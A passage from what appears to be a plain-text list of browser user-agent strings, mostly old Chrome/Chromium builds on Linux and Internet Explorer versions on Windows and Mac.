Chrome/3.0.198.1 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.576.0 Safari/534.12 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.3 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.7 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.1 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.308.0 Safari/532.9 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.368.0 Safari/533.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.544.0 Safari/534.10 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.200 Safari/534.10 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Ubuntu/10.10 Chromium/8.0.552.237 Chrome/8.0.552.237 Safari/534.10 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1333515017.9196 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416664997.4379 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416670950.695 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416748405.3871 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416758524.9051 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Ubuntu/10.10 Chromium/9.0.600.0 Chrome/9.0.600.0 Safari/534.14 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.82 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.127 Chrome/10.0.648.127 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 SUSE/10.0.626.0 (KHTML, like Gecko) Chrome/10.0.626.0 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.417.0 Safari/534.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.470.0 Safari/534.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML,like Gecko) Chrome/9.1.0.0 Safari/540.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/8.1.0.0 Safari/540.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.15) Gecko/20101027 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 Mozilla/5.0 (X11; U; Linux x86_64; fr-FR) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3 Mozilla/5.0 (X11; U; Slackware Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.30 Safari/532.5 Mozilla/5.0 (X11; U; Windows NT 6; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.587.0 Safari/534.12 Mozilla/5.0 (X11; U; x86_64 Linux; en_GB, en_US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 Chrome/2.0.172.6 Safari/530.7 Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.7 Mozilla/6.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 # Microsoft Internet Explorer Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0) Mozilla/4.0 (Compatible; MSIE 4.0) Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 4.01; Windows 95) Mozilla/4.0 (compatible; MSIE 4.01; Windows 98) Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; DigExt) Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC) Mozilla/4.0 (compatible; MSIE 4.01; Windows NT) Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0) Mozilla/4.0 (compatible; MSIE 4.0; Windows 95) Mozilla/4.0 (compatible; MSIE 4.0; Windows 95; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 4.0; Windows 98) Mozilla/4.0 (compatible; MSIE 4.0; Windows NT) Mozilla/4.0 (compatible; MSIE 4.5; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 4.5; Windows 98;) Mozilla/4.0 (compatible; MSIE 4.5; Windows NT 5.1; .NET CLR 2.0.40607) Mozilla/4.0 (compatible; MSIE 5.00; Windows 98) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MSIECrawler) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Q312461) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Q312461; T312461) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; SV1) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Wanadoo 5.1) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Wanadoo 5.3; Wanadoo 5.5) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Wanadoo 5.6) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.0.0; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; Hotbar 4.2.8.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; MSIECrawler) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT; DigExt) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 5.05; Windows 98; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.05; Windows NT 3.51) Mozilla/4.0 (compatible; MSIE 5.05; Windows NT 4.0) Mozilla/4.0 (compatible; MSIE 5.0b1; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;) Mozilla/4.0(compatible; MSIE 5.0; Windows 98; DigExt) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.2.6; yplus 1.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT;) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.9; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 6.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.04506.648; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; YComp 5.0.2.5) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 5.12; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.13; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.14; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.15; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.16; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC Mac OS; en) Mozilla/4.0 (compatible; MSIE 5.21; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.22; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.2; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.5;) Mozilla/4.0 (compatible; MSIE 5.50; Windows 95; SiteKiosk 4.8) Mozilla/4.0 (compatible; MSIE 5.50; Windows 98; SiteKiosk 4.8) Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.8) Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.8; SiteCoach 1.0) Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.9; SiteCoach 1.0) Mozilla/4.0 (compatible; MSIE 5.5b1; Mac_PowerPC) Mozilla/4.0 (compatible;MSIE 5.5; Windows 98) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT5) Mozilla/4.0 (Compatible; MSIE 5.5; Windows NT5.0; Q312461; SV1; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; FDM) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.5) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.1; chromeframe/12.0.742.100; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 6.01; Windows NT 6.0) Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98) Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; Win 9x 4.90) Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 4.0) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 4.0; .NET CLR 1.0.2914) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1; DigExt) Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Mozilla/4.0 (compatible;MSIE 6.0;Windows 98;Q312461) Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Mozilla/4.0 (compatible; MSIE 6.1; Windows XP; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.0.3705; Media Center PC 3.1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.40607) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) Mozilla/4.0(compatible; MSIE 7.0b; Windows NT 6.0) Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; InfoPath.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/6.0; .NET4.0E; .NET4.0C) Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; msn OptimizedIE8;ZHCN) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; InfoPath.3; .NET4.0C; .NET4.0E) chromeframe/8.0.552.224 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Mozilla/4.0 (compatible; U; MSIE 6.0; Windows NT 5.1) Mozilla/4.0 (Compatible; Windows NT 5.1; MSIE 6.0) (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1) Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30) Mozilla/4.0 (MSIE 6.0; Windows NT 5.0) Mozilla/4.0 (MSIE 6.0; Windows NT 5.1) Mozilla/4.0 WebTV/2.6 (compatible; MSIE 4.0) Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.0) Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.2) Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0) Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Mozilla/4.0 (X11; MSIE 6.0; i686; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM) Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0) Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64) Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0) Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident/6.0; en-IN) Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1) Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4325) Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Mozilla/5.0 (compatible; MSIE 7.0; Windows 98; SpamBlockerUtility 6.3.91; SpamBlockerUtility 6.2.91; .NET CLR 4.1.89;GB) Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS) Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727) Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US) Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; fr-FR) Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; SLCC1; .NET CLR 1.1.4322) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 